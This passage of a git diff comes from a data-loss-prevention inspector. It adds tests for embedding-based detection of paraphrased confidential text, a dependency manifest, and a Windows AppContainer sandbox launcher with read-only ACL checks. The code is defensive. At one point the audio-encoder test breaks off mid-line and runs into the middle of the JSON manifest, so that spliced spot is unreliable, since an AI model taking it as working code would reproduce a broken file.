test_artifact_hash_size_and_escape_checks(self): + with tempfile.TemporaryDirectory() as directory: + root=Path(directory).resolve();file=root/'artifact';file.write_bytes(b'public model fixture') + digest=hashlib.sha256(file.read_bytes()).hexdigest() + self.assertEqual(verify_file(root,'artifact',file.stat().st_size,digest),file) + with self.assertRaises(ValueError):verify_file(root,'artifact',file.stat().st_size,'0'*64) + with self.assertRaises(ValueError):verify_file(root,'artifact',1,digest) + with self.assertRaises(ValueError):verify_file(root,'../escape',1,digest) + def test_training_features_return_only_vectors_and_metadata(self): + class FixtureModel: + def text_vectors(self,text):return [vector(),vector(1)] + def info(self):return {'model':'google/embeddinggemma-2','revision':'a'*40,'dimensions':768,'profile':PROFILE,'local':True} + with patch('engine.get_model',return_value=FixtureModel()):result=embedding_features(b'Internal secret not to retain in reference data') + self.assertTrue(result['coverage']['complete']);self.assertEqual(result['coverage']['textChunks'],2) + self.assertEqual(len(result['vectors']),2);self.assertNotIn('Internal secret',json.dumps(result)) + def test_category_matching_compares_all_reference_prototypes(self): + policy={'dlp':{'maxBytes':1024,'rules':[],'semantic':{'enabled':True,'model':'google/embeddinggemma-2','revision':'a'*40,'categories':[{'id':'reference','prototype':vector(0),'prototypes':[vector(0),vector(1)],'threshold':.9}]}}} + with patch.dict('os.environ',{'EMBEDDING_MODEL_REVISION':'a'*40}): + result=inspect_content(b'Paraphrased protected concept',policy,encoder=lambda *_:vector(1)) + self.assertEqual(result['ruleId'],'reference') + def test_worker_timeout_kills_and_sanitizes_errors(self): + model=NativeSemanticModel.__new__(NativeSemanticModel);model.responses=queue.Queue() + with patch.object(model,'close') as close: + with self.assertRaisesRegex(ValueError,'timed out'):model._receive(.001) + close.assert_called_once() + def test_worker_private_exception_text_is_never_returned(self): + import threading + class Process: + stdin=io.BytesIO() + def poll(self):return None + def kill(self):pass + model=NativeSemanticModel.__new__(NativeSemanticModel);model.process=Process();model.lock=threading.Lock() + model._start=lambda:None + model._receive=lambda timeout:{'ok':False,'device':'cpu','error':'PRIVATE DOC CONTENT'} + with patch.object(model,'close') as close: + with self.assertRaises(ValueError) as error:model._request({'op':'documents','texts':['public fixture']}) + self.assertNotIn('PRIVATE',str(error.exception));close.assert_called_once() + +if __name__=='__main__':unittest.main() diff --git a/apps/inspector/test_semantic_real.py b/apps/inspector/test_semantic_real.py new file mode 100644 index 0000000..308d049 --- /dev/null +++ b/apps/inspector/test_semantic_real.py @@ -0,0 +1,47 @@ +"""Opt-in operational fixtures using staged real Google weights, CPU only.""" +import io +import math +import os +import unittest +import wave +from engine import get_model,embedding_features,inspect_content,cosine +from semantic import validate_vectors,DIMENSIONS + +@unittest.skipUnless(os.environ.get('SAFETYNET_TEST_NATIVE_SEMANTIC')=='1','Opt in to verified native CPU fixtures') +class NativeCPUFixtures(unittest.TestCase): + @classmethod + def setUpClass(cls):cls.model=get_model() + @classmethod + def tearDownClass(cls):cls.model.close() + def test_real_paraphrase_blocks_and_unrelated_text_allows(self): + reference=embedding_features(b'Our confidential launch plan schedules the new product announcement for next October.') + protected=b'The secret product rollout will be announced in October next year.' + public=b'The public cafeteria menu includes tomato soup and bread.' + related=embedding_features(protected);unrelated=embedding_features(public) + self.assertGreater(cosine(reference['vector'],related['vector']),.8) + self.assertLess(cosine(reference['vector'],unrelated['vector']),.8) + policy={'dlp':{'maxBytes':1048576,'rules':[],'semantic':{**self.model.info(),'enabled':True,'categories':[{'id':'native-reference','prototype':reference['vector'],'prototypes':reference['vectors'],'threshold':.8}]}}} + self.assertEqual(inspect_content(protected,policy)['ruleId'],'native-reference') + self.assertEqual(inspect_content(public,policy)['decision'],'allow') + def test_native_token_windows_cover_long_document_tail(self): + text='Public synthetic office lunch menu and team meeting schedule. '*600+'Final unique coverage marker.' + result=embedding_features(text.encode()) + self.assertGreater(result['coverage']['textChunks'],1) + self.assertTrue(result['coverage']['complete']);validate_vectors(result['vectors']) + def test_native_image_encoder_returns_real_normalized_vector(self): + from PIL import Image,ImageDraw + image=Image.new('RGB',(192,192),'white');draw=ImageDraw.Draw(image) + draw.rectangle((20,20,90,170),fill='blue');draw.ellipse((110,50,175,115),fill='red') + output=io.BytesIO();image.save(output,format='PNG') + vectors=self.model.image_vectors(output.getvalue()) + self.assertEqual(len(vectors),1);validate_vectors(vectors) + def test_native_audio_encoder_returns_real_normalized_vector(self): + import numpy as np + samples=(np.sin(np.arange(16000)*2*math.pi*440/16000)*12000).astype('=1.0.2; python_version < \"3.11\"", + "idna>=2.8", + "typing_extensions>=4.16.0; python_version < \"3.15\"", + "trio>=0.32.0; extra == \"trio\"" + ], + "topLevelPaths": [ + "anyio", + "anyio-4.15.1.dist-info" + ] + }, + { + "name": "click", + "version": "8.5.0", + "requires": [], + "topLevelPaths": [ + "click", + "click-8.5.0.dist-info" + ] + }, + { + "name": "filelock", + "version": "4.1.1", + "requires": [], + "topLevelPaths": [ + "filelock", + "filelock-4.1.1.dist-info" + ] + }, + { + "name": "fsspec", + "version": "2026.9.0", + "requires": [ + "adlfs; extra == 'abfs'", + "adlfs; extra == 'adl'", + "pyarrow>=1; extra == 'arrow'", + "dask; extra == 'dask'", + "distributed; extra == 'dask'", + "pre-commit; extra == 'dev'", + "ruff>=0.5; extra == 'dev'", + "numpydoc; extra == 'doc'", + "sphinx; extra == 'doc'", + "sphinx-design; extra == 'doc'", + "sphinx-rtd-theme; extra == 'doc'", + "yarl; extra == 'doc'", + "dropbox; extra == 'dropbox'", + "dropboxdrivefs; extra == 'dropbox'", + "requests; extra == 'dropbox'", + "adlfs; extra == 'full'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'full'", + "dask; extra == 'full'", + "distributed; extra == 'full'", + "dropbox; extra == 'full'", + "dropboxdrivefs; extra == 'full'", + "fusepy; extra == 'full'", + "gcsfs>=2026.4.0; extra == 'full'", + "libarchive-c; extra == 'full'", + "ocifs; extra == 'full'", + "panel; extra == 'full'", + "paramiko; extra == 'full'", + "pyarrow>=1; extra == 'full'", + "pygit2; extra == 'full'", + "requests; extra == 'full'", + "s3fs>=2026.6.0; extra == 'full'", + "smbprotocol; extra == 'full'", + "tqdm; extra == 'full'", + "fusepy; extra == 'fuse'", + "gcsfs>=2026.4.0; extra == 'gcs'", + "pygit2; extra == 'git'", + "requests; extra == 'github'", + "gcsfs>=2026.4.0; extra == 'gs'", + "panel; extra == 'gui'", + "pyarrow>=1; extra == 'hdfs'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'http'", + "libarchive-c; extra == 'libarchive'", + "ocifs; extra == 'oci'", + "s3fs>=2026.6.0; extra == 's3'", + "paramiko; extra == 'sftp'", + "smbprotocol; extra == 'smb'", + "paramiko; extra == 'ssh'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'test'", + "numpy; extra == 'test'", + "pytest; extra == 'test'", + "pytest-asyncio!=0.22.0; extra == 'test'", + "pytest-benchmark; extra == 'test'", + "pytest-cov; extra == 'test'", + "pytest-mock; extra == 'test'", + "pytest-recording; extra == 'test'", + "pytest-rerunfailures; extra == 'test'", + "requests; extra == 'test'", + "aiobotocore<3.0.0,>=2.5.4; extra == 'test-downstream'", + "dask[dataframe,test]; extra == 'test-downstream'", + "moto[server]<5,>4; extra == 'test-downstream'", + "pytest-timeout; extra == 'test-downstream'", + "xarray; extra == 'test-downstream'", + "zarr; extra == 'test-downstream'", + "adlfs; extra == 'test-full'", + "aiohttp!=4.0.0a0,!=4.0.0a1; extra == 'test-full'", + "backports-zstd; (python_version < '3.14') and extra == 'test-full'", + "cloudpickle; extra == 'test-full'", + "dask; extra == 'test-full'", + "distributed; extra == 'test-full'", + "dropbox; extra == 'test-full'", + "dropboxdrivefs; extra == 'test-full'", + "fastparquet; extra == 'test-full'", + "fusepy; extra == 'test-full'", + "gcsfs>=2026.4.0; extra == 'test-full'", + "jinja2; extra == 'test-full'", + "kerchunk; extra == 'test-full'", + "libarchive-c; extra == 'test-full'", + "lz4; extra == 'test-full'", + "notebook; extra == 'test-full'", + "numpy; extra == 'test-full'", + "ocifs; extra == 'test-full'", + "pandas<3.0.0; extra == 'test-full'", + "panel; extra == 'test-full'", + "paramiko; extra == 'test-full'", + "pyarrow>=1; extra == 'test-full'", + "pyftpdlib; extra == 'test-full'", + "pygit2; extra == 'test-full'", + "pytest; extra == 'test-full'", + "pytest-asyncio!=0.22.0; extra == 'test-full'", + "pytest-benchmark; extra == 'test-full'", + "pytest-cov; extra == 'test-full'", + "pytest-mock; extra == 'test-full'", + "pytest-recording; extra == 'test-full'", + "pytest-rerunfailures; extra == 'test-full'", + "python-snappy; extra == 'test-full'", + "requests; extra == 'test-full'", + "s3fs>=2026.6.0; extra == 'test-full'", + "smbprotocol; extra == 'test-full'", + "tqdm; extra == 'test-full'", + "urllib3; extra == 'test-full'", + "zarr<3.2.0; extra == 'test-full'", + "zstandard; (python_version < '3.14') and extra == 'test-full'", + "tqdm; extra == 'tqdm'" + ], + "topLevelPaths": [ + "fsspec", + "fsspec-2026.9.0.dist-info" + ] + }, + { + "name": "h11", + "version": "0.16.0", + "requires": [], + "topLevelPaths": [ + "h11", + "h11-0.16.0.dist-info" + ] + }, + { + "name": "hf-xet", + "version": "1.7.0", + "requires": [ + "pytest ; extra == 'tests'" + ], + "topLevelPaths": [ + "hf_xet", + "hf_xet-1.7.0.dist-info" + ] + }, + { + "name": "httpcore", + "version": "1.0.9", + "requires": [ + "certifi", + "h11>=0.16", + "anyio<5.0,>=4.0; extra == 'asyncio'", + "h2<5,>=3; extra == 'http2'", + "socksio==1.*; extra == 'socks'", + "trio<1.0,>=0.22.0; extra == 'trio'" + ], + "topLevelPaths": [ + "httpcore", + "httpcore-1.0.9.dist-info" + ] + }, + { + "name": "httpx", + "version": "0.28.1", + "requires": [ + "anyio", + "certifi", + "httpcore==1.*", + "idna", + "brotli; (platform_python_implementation == 'CPython') and extra == 'brotli'", + "brotlicffi; (platform_python_implementation != 'CPython') and extra == 'brotli'", + "click==8.*; extra == 'cli'", + "pygments==2.*; extra == 'cli'", + "rich<14,>=10; extra == 'cli'", + "h2<5,>=3; extra == 'http2'", + "socksio==1.*; extra == 'socks'", + "zstandard>=0.18.0; extra == 'zstd'" + ], + "topLevelPaths": [ + "httpx", + "httpx-0.28.1.dist-info" + ] + }, + { + "name": "huggingface_hub", + "version": "1.33.0", + "requires": [ + "click<9.0.0,>=8.4.2", + "filelock>=3.10.0", + "fsspec>=2023.5.0", + "hf-xet<2.0.0,>=1.6.0; platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\"", + "httpx<1,>=0.23.0", + "packaging>=20.9", + "pyyaml>=5.1", + "tomli>=1.1.0; python_version < \"3.11\"", + "tqdm>=4.42.1", + "typing-extensions>=4.1.0", + "authlib>=1.3.2; extra == \"oauth\"", + "fastapi; extra == \"oauth\"", + "httpx; extra == \"oauth\"", + "itsdangerous; extra == \"oauth\"", + "torch; extra == \"torch\"", + "safetensors[torch]; extra == \"torch\"", + "toml; extra == \"fastai\"", + "fastai>=2.4; extra == \"fastai\"", + "fastcore>=1.3.27; extra == \"fastai\"", + "hf-xet<2.0.0,>=1.6.0; extra == \"hf-xet\"", + "mcp<2.0.0,>=1.9.4; extra == \"mcp\"", + "authlib>=1.3.2; extra == \"testing\"", + "fastapi; extra == \"testing\"", + "httpx; extra == \"testing\"", + "itsdangerous; extra == \"testing\"", + "jedi; extra == \"testing\"", + "Jinja2; extra == \"testing\"", + "pytest>=8.4.2; extra == \"testing\"", + "pytest-cov; extra == \"testing\"", + "pytest-env; extra == \"testing\"", + "pytest-xdist; extra == \"testing\"", + "pytest-vcr; extra == \"testing\"", + "pytest-asyncio; extra == \"testing\"", + "pytest-rerunfailures>=16.2; extra == \"testing\"", + "pytest-mock; extra == \"testing\"", + "urllib3<2.0; extra == \"testing\"", + "soundfile; extra == \"testing\"", + "Pillow; extra == \"testing\"", + "numpy; extra == \"testing\"", + "duckdb; extra == \"testing\"", + "fastapi; extra == \"testing\"", + "gradio>=5.0.0; extra == \"gradio\"", + "requests; extra == \"gradio\"", + "typing-extensions>=4.8.0; extra == \"typing\"", + "types-PyYAML; extra == \"typing\"", + "types-simplejson; extra == \"typing\"", + "types-toml; extra == \"typing\"", + "types-tqdm; extra == \"typing\"", + "types-urllib3; extra == \"typing\"", + "ruff>=0.9.0; extra == \"quality\"", + "mypy==1.15.0; extra == \"quality\"", + "libcst>=1.4.0; extra == \"quality\"", + "ty; extra == \"quality\"", + "authlib>=1.3.2; extra == \"all\"", + "fastapi; extra == \"all\"", + "httpx; extra == \"all\"", + "itsdangerous; extra == \"all\"", + "jedi; extra == \"all\"", + "Jinja2; extra == \"all\"", + "pytest>=8.4.2; extra == \"all\"", + "pytest-cov; extra == \"all\"", + "pytest-env; extra == \"all\"", + "pytest-xdist; extra == \"all\"", + "pytest-vcr; extra == \"all\"", + "pytest-asyncio; extra == \"all\"", + "pytest-rerunfailures>=16.2; extra == \"all\"", + "pytest-mock; extra == \"all\"", + "urllib3<2.0; extra == \"all\"", + "soundfile; extra == \"all\"", + "Pillow; extra == \"all\"", + "numpy; extra == \"all\"", + "duckdb; extra == \"all\"", + "fastapi; extra == \"all\"", + "ruff>=0.9.0; extra == \"all\"", + "mypy==1.15.0; extra == \"all\"", + "libcst>=1.4.0; extra == \"all\"", + "ty; extra == \"all\"", + "typing-extensions>=4.8.0; extra == \"all\"", + "types-PyYAML; extra == \"all\"", + "types-simplejson; extra == \"all\"", + "types-toml; extra == \"all\"", + "types-tqdm; extra == \"all\"", + "types-urllib3; extra == \"all\"", + "authlib>=1.3.2; extra == \"dev\"", + "fastapi; extra == \"dev\"", + "httpx; extra == \"dev\"", + "itsdangerous; extra == \"dev\"", + "jedi; extra == \"dev\"", + "Jinja2; extra == \"dev\"", + "pytest>=8.4.2; extra == \"dev\"", + "pytest-cov; extra == \"dev\"", + "pytest-env; extra == \"dev\"", + "pytest-xdist; extra == \"dev\"", + "pytest-vcr; extra == \"dev\"", + "pytest-asyncio; extra == \"dev\"", + "pytest-rerunfailures>=16.2; extra == \"dev\"", + "pytest-mock; extra == \"dev\"", + "urllib3<2.0; extra == \"dev\"", + "soundfile; extra == \"dev\"", + "Pillow; extra == \"dev\"", + "numpy; extra == \"dev\"", + "duckdb; extra == \"dev\"", + "fastapi; extra == \"dev\"", + "ruff>=0.9.0; extra == \"dev\"", + "mypy==1.15.0; extra == \"dev\"", + "libcst>=1.4.0; extra == \"dev\"", + "ty; extra == \"dev\"", + "typing-extensions>=4.8.0; extra == \"dev\"", + "types-PyYAML; extra == \"dev\"", + "types-simplejson; extra == \"dev\"", + "types-toml; extra == \"dev\"", + "types-tqdm; extra == \"dev\"", + "types-urllib3; extra == \"dev\"" + ], + "topLevelPaths": [ + "huggingface_hub", + "huggingface_hub-1.33.0.dist-info" + ] + }, + { + "name": "tokenizers", + "version": "0.22.2", + "requires": [ + "huggingface-hub>=0.16.4,<2.0", + "pytest ; extra == 'testing'", + "pytest-asyncio ; extra == 'testing'", + "requests ; extra == 'testing'", + "numpy ; extra == 'testing'", + "datasets ; extra == 'testing'", + "ruff ; extra == 'testing'", + "ty ; extra == 'testing'", + "sphinx ; extra == 'docs'", + "sphinx-rtd-theme ; extra == 'docs'", + "setuptools-rust ; extra == 'docs'", + "tokenizers[testing] ; extra == 'dev'" + ], + "topLevelPaths": [ + "tokenizers", + "tokenizers-0.22.2.dist-info" + ] + }, + { + "name": "typing_extensions", + "version": "4.16.0", + "requires": [], + "topLevelPaths": [ + "__pycache__", + "typing_extensions-4.16.0.dist-info", + "typing_extensions.py" + ] + } + ] +} \ No newline at end of file diff --git a/apps/inspector/windows_appcontainer.py b/apps/inspector/windows_appcontainer.py new file mode 100644 index 0000000..4d7e804 --- /dev/null +++ b/apps/inspector/windows_appcontainer.py @@ -0,0 +1,271 @@ +"""Capability-free Windows AppContainer process launcher. + +The HTTP broker must stay outside this boundary. Only approved immutable runtime, +parser source and model directories receive read/execute access. Documents travel +through anonymous pipes, never a temporary plaintext file. No network capability +or loopback exemption is assigned. Windows supplies the package-private storage. +""" +import ctypes +import hashlib +import os +import subprocess +import sys +import threading +from pathlib import Path +from ctypes import wintypes as W + + +class SandboxError(RuntimeError): + pass + + +def _verify_read_acl(path, sid): + """Read the DACL directly; startup never needs WRITE_DAC or icacls.""" + a = ctypes.WinDLL('advapi32', use_last_error=True) + k = ctypes.WinDLL('kernel32', use_last_error=True) + a.GetNamedSecurityInfoW.argtypes = [W.LPWSTR, W.DWORD, W.DWORD, ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p), ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p)] + a.GetNamedSecurityInfoW.restype = W.DWORD + a.GetAce.argtypes = [ctypes.c_void_p, W.DWORD, ctypes.POINTER(ctypes.c_void_p)] + a.GetAce.restype = W.BOOL + a.EqualSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]; a.EqualSid.restype = W.BOOL + k.LocalFree.argtypes = [ctypes.c_void_p]; k.LocalFree.restype = ctypes.c_void_p + dacl = ctypes.c_void_p(); descriptor = ctypes.c_void_p() + if a.GetNamedSecurityInfoW(str(path), 1, 4, None, None, ctypes.byref(dacl), None, ctypes.byref(descriptor)): + raise SandboxError('Approved runtime ACL could not be inspected') + try: + if not dacl: raise SandboxError('Approved runtime has unrestricted access') + count = ctypes.c_ushort.from_address(dacl.value + 4).value + allow = 0 + required = 0x1200a9 # FILE_GENERIC_READ | FILE_GENERIC_EXECUTE + for index in range(count): + ace = ctypes.c_void_p() + if not a.GetAce(dacl, index, ctypes.byref(ace)): raise SandboxError('Runtime ACL is invalid') + kind = ctypes.c_ubyte.from_address(ace.value).value + flags = ctypes.c_ubyte.from_address(ace.value + 1).value + if flags & 8: continue # INHERIT_ONLY does not apply to this object. + mask = ctypes.c_uint32.from_address(ace.value + 4).value + # Conservative: a relevant deny ACE requires administrator review. + if kind == 1 and mask & (required | 0x90000000): + raise SandboxError('Approved runtime has conflicting deny permissions') + if kind == 0 and a.EqualSid(ctypes.c_void_p(ace.value + 8), sid): + if mask & 0x10000000: mask |= 0x1f01ff + if mask & 0x80000000: mask |= 0x120089 + if mask & 0x20000000: mask |= 0x1200a0 + allow |= mask + if allow & required != required: + raise SandboxError('Runtime ACL provisioning is required before inspector startup') + if allow & 0x400d0116: # write/append/EA/attributes/delete/WRITE_DAC/WRITE_OWNER + raise SandboxError('AppContainer runtime access must be read-only') + finally: + k.LocalFree(descriptor) + + +def _api(): + if sys.platform != 'win32': + raise SandboxError('AppContainer requires Windows') + k = ctypes.WinDLL('kernel32', use_last_error=True) + u = ctypes.WinDLL('userenv', use_last_error=True) + a = ctypes.WinDLL('advapi32', use_last_error=True) + for name, args, result in [ + ('CloseHandle', [W.HANDLE], W.BOOL), + ('CreatePipe', [ctypes.POINTER(W.HANDLE), ctypes.POINTER(W.HANDLE), ctypes.c_void_p, W.DWORD], W.BOOL), + ('SetHandleInformation', [W.HANDLE, W.DWORD, W.DWORD], W.BOOL), + ('InitializeProcThreadAttributeList', [ctypes.c_void_p, W.DWORD, W.DWORD, ctypes.POINTER(ctypes.c_size_t)], W.BOOL), + ('UpdateProcThreadAttribute', [ctypes.c_void_p, W.DWORD, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p], W.BOOL), + ('DeleteProcThreadAttributeList', [ctypes.c_void_p], None), + ('CreateProcessW', [W.LPCWSTR, W.LPWSTR, ctypes.c_void_p, ctypes.c_void_p, W.BOOL, W.DWORD, ctypes.c_void_p, W.LPCWSTR, ctypes.c_void_p, ctypes.c_void_p], W.BOOL), + ('WaitForSingleObject', [W.HANDLE, W.DWORD], W.DWORD), + ('TerminateProcess', [W.HANDLE, W.UINT], W.BOOL), + ('GetExitCodeProcess', [W.HANDLE, ctypes.POINTER(W.DWORD)], W.BOOL), + ('LocalFree', [ctypes.c_void_p], ctypes.c_void_p), + ('CreateJobObjectW', [ctypes.c_void_p, W.LPCWSTR], W.HANDLE), + ('SetInformationJobObject', [W.HANDLE, ctypes.c_int, ctypes.c_void_p, W.DWORD], W.BOOL), + ('AssignProcessToJobObject', [W.HANDLE, W.HANDLE], W.BOOL), + ('ResumeThread', [W.HANDLE], W.DWORD), + ]: + fn = getattr(k, name); fn.argtypes = args; fn.restype = result + u.CreateAppContainerProfile.argtypes = [W.LPCWSTR, W.LPCWSTR, W.LPCWSTR, ctypes.c_void_p, W.DWORD, ctypes.POINTER(ctypes.c_void_p)] + u.CreateAppContainerProfile.restype = ctypes.c_long + u.DeriveAppContainerSidFromAppContainerName.argtypes = [W.LPCWSTR, ctypes.POINTER(ctypes.c_void_p)] + u.DeriveAppContainerSidFromAppContainerName.restype = ctypes.c_long + a.ConvertSidToStringSidW.argtypes = [ctypes.c_void_p, ctypes.POINTER(W.LPWSTR)] + a.ConvertSidToStringSidW.restype = W.BOOL + a.FreeSid.argtypes = [ctypes.c_void_p]; a.FreeSid.restype = ctypes.c_void_p + return k, u, a + + +class AppContainer: + """Broker-owned launcher. Caller supplies trusted deployment directories.""" + def __init__(self, read_directories, *, provision=False): + self.k, u, self.a = _api() + roots_input = [Path(p).absolute() for p in read_directories] + for root in roots_input: + for component in [root, *root.parents]: + if component.lstat().st_file_attributes & 0x400: + raise SandboxError('Reparse point in approved sandbox root') + roots = tuple(sorted({str(p.resolve(strict=True)) for p in roots_input})) + if not roots or any(not Path(p).is_dir() or Path(p).parent == Path(p) for p in roots): + raise SandboxError('Invalid approved sandbox runtime directories') + self.name = 'SafetyNet.Parser.' + hashlib.sha256('\0'.join(roots).encode()).hexdigest()[:24] + self.sid = ctypes.c_void_p() + result = u.CreateAppContainerProfile(self.name, 'SafetyNet parser', 'Offline content inspection', None, 0, ctypes.byref(self.sid)) + if result != 0 and u.DeriveAppContainerSidFromAppContainerName(self.name, ctypes.byref(self.sid)) != 0: + raise SandboxError('AppContainer profile could not be established') + sid_text = W.LPWSTR() + if not self.a.ConvertSidToStringSidW(self.sid, ctypes.byref(sid_text)): + raise SandboxError('AppContainer identity unavailable') + try: + self.sid_string = sid_text.value + finally: + self.k.LocalFree(sid_text) + # Package SID grants are specific to this deployment, never Everyone or + # ALL APPLICATION PACKAGES. No writable permission is added to source. + for root in roots: + # Reject junctions/symlinks before recursive grants; /L alone is not + # sufficient evidence that every possible reparse target stays local. + entries = [Path(root)] + for directory, folders, files in os.walk(root, followlinks=False): + for name in folders + files: + entry = Path(directory) / name + if entry.lstat().st_file_attributes & 0x400: + raise SandboxError('Reparse point in approved sandbox runtime') + entries.append(entry) + if provision: + completed = subprocess.run(['icacls.exe', root, '/grant:r', '*' + self.sid_string + ':(RX)', '/T', '/L', '/Q'], + capture_output=True, timeout=60, creationflags=subprocess.CREATE_NO_WINDOW) + if completed.returncode: + raise SandboxError('Approved runtime access could not be established') + for entry in entries: + _verify_read_acl(entry, self.sid) + self.roots = roots + + def run(self, executable, arguments, data=b'', environment=None, timeout=30, max_output=8*1024*1024): + """One bounded pipe exchange. Child descendants remain in broker Job.""" + import msvcrt + executable = str(Path(executable).resolve(strict=True)) + if not any(Path(executable).is_relative_to(Path(root)) for root in self.roots): + raise SandboxError('Executable is outside approved runtime') + class SA(ctypes.Structure): + _fields_ = [('length', W.DWORD), ('descriptor', ctypes.c_void_p), ('inherit', W.BOOL)] + class SI(ctypes.Structure): + _fields_ = [('cb', W.DWORD), ('reserved', W.LPWSTR), ('desktop', W.LPWSTR), ('title', W.LPWSTR), + ('x', W.DWORD), ('y', W.DWORD), ('xs', W.DWORD), ('ys', W.DWORD), ('xc', W.DWORD), ('yc', W.DWORD), + ('fill', W.DWORD), ('flags', W.DWORD), ('show', W.WORD), ('reserved2size', W.WORD), + ('reserved2', ctypes.c_void_p), ('stdin', W.HANDLE), ('stdout', W.HANDLE), ('stderr', W.HANDLE)] + class SIX(ctypes.Structure): + _fields_ = [('startup', SI), ('attributes', ctypes.c_void_p)] + class PI(ctypes.Structure): + _fields_ = [('process', W.HANDLE), ('thread', W.HANDLE), ('pid', W.DWORD), ('tid', W.DWORD)] + class SC(ctypes.Structure): + _fields_ = [('sid', ctypes.c_void_p), ('capabilities', ctypes.c_void_p), ('count', W.DWORD), ('reserved', W.DWORD)] + security = SA(ctypes.sizeof(SA), None, True) + handles = [] + attribute = None + process = PI() + job = None + owned_files = [] + try: + ir, iw, or_, ow = W.HANDLE(), W.HANDLE(), W.HANDLE(), W.HANDLE() + for read, write in [(ir, iw), (or_, ow)]: + if not self.k.CreatePipe(ctypes.byref(read), ctypes.byref(write), ctypes.byref(security), 0): + raise SandboxError('Sandbox pipes unavailable') + handles.extend([read.value, write.value]) + for parent_handle in [iw, or_]: + if not self.k.SetHandleInformation(parent_handle, 1, 0): + raise SandboxError('Sandbox pipe inheritance unavailable') + size = ctypes.c_size_t() + self.k.InitializeProcThreadAttributeList(None, 2, 0, ctypes.byref(size)) + attribute = ctypes.create_string_buffer(size.value) + if not self.k.InitializeProcThreadAttributeList(attribute, 2, 0, ctypes.byref(size)): + raise SandboxError('Sandbox launch attributes unavailable') + caps = SC(self.sid, None, 0, 0) + inheritance = (W.HANDLE * 2)(ir.value, ow.value) + for key, value in [(0x20009, caps), (0x20002, inheritance)]: + if not self.k.UpdateProcThreadAttribute(attribute, 0, key, ctypes.byref(value), ctypes.sizeof(value), None, None): + raise SandboxError('Sandbox launch boundary unavailable') + startup = SIX(); startup.startup.cb = ctypes.sizeof(SIX) + startup.startup.flags = 0x100; startup.startup.stdin = ir; startup.startup.stdout = ow; startup.startup.stderr = ow + startup.attributes = ctypes.cast(attribute, ctypes.c_void_p) + # Explicit environment: no broker credential or inherited deployment secrets. + env = {'SystemRoot': os.environ.get('SystemRoot', 'C:\\Windows'), 'PYTHONDONTWRITEBYTECODE': '1', 'PYTHONIOENCODING':'utf-8'} + for key in ['USERPROFILE','LOCALAPPDATA','APPDATA','TEMP','TMP','WINDIR']: + if key in os.environ: env[key] = os.environ[key] + allowed = {'EMBEDDING_MODEL_DIR','EMBEDDING_WORKER_PATH','SEARCHI_FORCE_CPU','GGML_CPU_ONLY','GGML_DISABLE_VULKAN'} + if any(key not in allowed or not isinstance(value,str) or '\0' in value for key,value in (environment or {}).items()): + raise SandboxError('Unapproved AppContainer environment field') + env.update(environment or {}) + environment_block = ctypes.create_unicode_buffer('\0'.join(f'{key}={value}' for key, value in sorted(env.items())) + '\0\0') + command = ctypes.create_unicode_buffer(subprocess.list2cmdline([executable, *arguments])) + if not self.k.CreateProcessW(executable, command, None, None, True, 0x80000|0x400|0x8000000|0x4, + environment_block, self.roots[0], ctypes.byref(startup), ctypes.byref(process)): + raise SandboxError('AppContainer process launch failed: ' + str(ctypes.get_last_error())) + # Suspended launch avoids an execution window before descendant cleanup. + class BasicLimits(ctypes.Structure): + _fields_ = [('processTime', ctypes.c_int64), ('jobTime', ctypes.c_int64), ('flags', W.DWORD), + ('minWorking', ctypes.c_size_t), ('maxWorking', ctypes.c_size_t), ('processes', W.DWORD), + ('affinity', ctypes.c_size_t), ('priority', W.DWORD), ('scheduling', W.DWORD)] + class Extended(ctypes.Structure): + _fields_ = [('basic', BasicLimits), ('io', ctypes.c_uint64 * 6), ('processMemory', ctypes.c_size_t), ('jobMemory', ctypes.c_size_t), ('peakProcess', ctypes.c_size_t), ('peakJob', ctypes.c_size_t)] + limits = Extended(); limits.basic.flags = 0x2000 | 0x8; limits.basic.processes = 2 + job = self.k.CreateJobObjectW(None, None) + if not job or not self.k.SetInformationJobObject(job, 9, ctypes.byref(limits), ctypes.sizeof(limits)) or not self.k.AssignProcessToJobObject(job, process.process): + self.k.TerminateProcess(process.process, 1) + raise SandboxError('AppContainer descendant containment unavailable') + if self.k.ResumeThread(process.thread) == 0xffffffff: + raise SandboxError('AppContainer launch resume failed') + self.k.CloseHandle(process.thread); process.thread = None + for child_handle in [ir.value, ow.value]: + self.k.CloseHandle(child_handle); handles.remove(child_handle) + writer = os.fdopen(msvcrt.open_osfhandle(iw.value, os.O_WRONLY|os.O_BINARY), 'wb', buffering=0) + reader = os.fdopen(msvcrt.open_osfhandle(or_.value, os.O_RDONLY|os.O_BINARY), 'rb', buffering=0) + handles.remove(iw.value); handles.remove(or_.value); owned_files = [writer, reader] + chunks = []; exceeded = threading.Event(); errors = [] + def write(): + try: + position = 0 + while position < len(data): + count = writer.write(memoryview(data)[position:]) + if not count: raise OSError() + position += count + except OSError: + pass + finally: + writer.close() + def read(): + total = 0 + try: + while True: + chunk = reader.read(65536) + if not chunk: break + total += len(chunk) + if total > max_output: + exceeded.set(); self.k.TerminateProcess(process.process, 1); break + chunks.append(chunk) + except OSError: + errors.append(True) + threads = [threading.Thread(target=write, daemon=True), threading.Thread(target=read, daemon=True)] + for thread in threads: thread.start() + if self.k.WaitForSingleObject(process.process, int(timeout*1000)) != 0: + self.k.TerminateProcess(process.process, 1) + self.k.WaitForSingleObject(process.process, 5000) + raise SandboxError('AppContainer inspection deadline exceeded') + self.k.CloseHandle(job);job=None + for thread in threads: thread.join(2) + if exceeded.is_set() or errors or any(thread.is_alive() for thread in threads): + raise SandboxError('AppContainer response failed bounded exchange') + code = W.DWORD() + if not self.k.GetExitCodeProcess(process.process, ctypes.byref(code)): + raise SandboxError('AppContainer process status unavailable') + return code.value, b''.join(chunks) + finally: + if job: self.k.CloseHandle(job);job=None + for file in owned_files: + if not file.closed: file.close() + for handle in handles: self.k.CloseHandle(handle) + if job: self.k.CloseHandle(job) + if process.thread: self.k.CloseHandle(process.thread) + if process.process: self.k.CloseHandle(process.process) + if attribute is not None: self.k.DeleteProcThreadAttributeList(attribute) 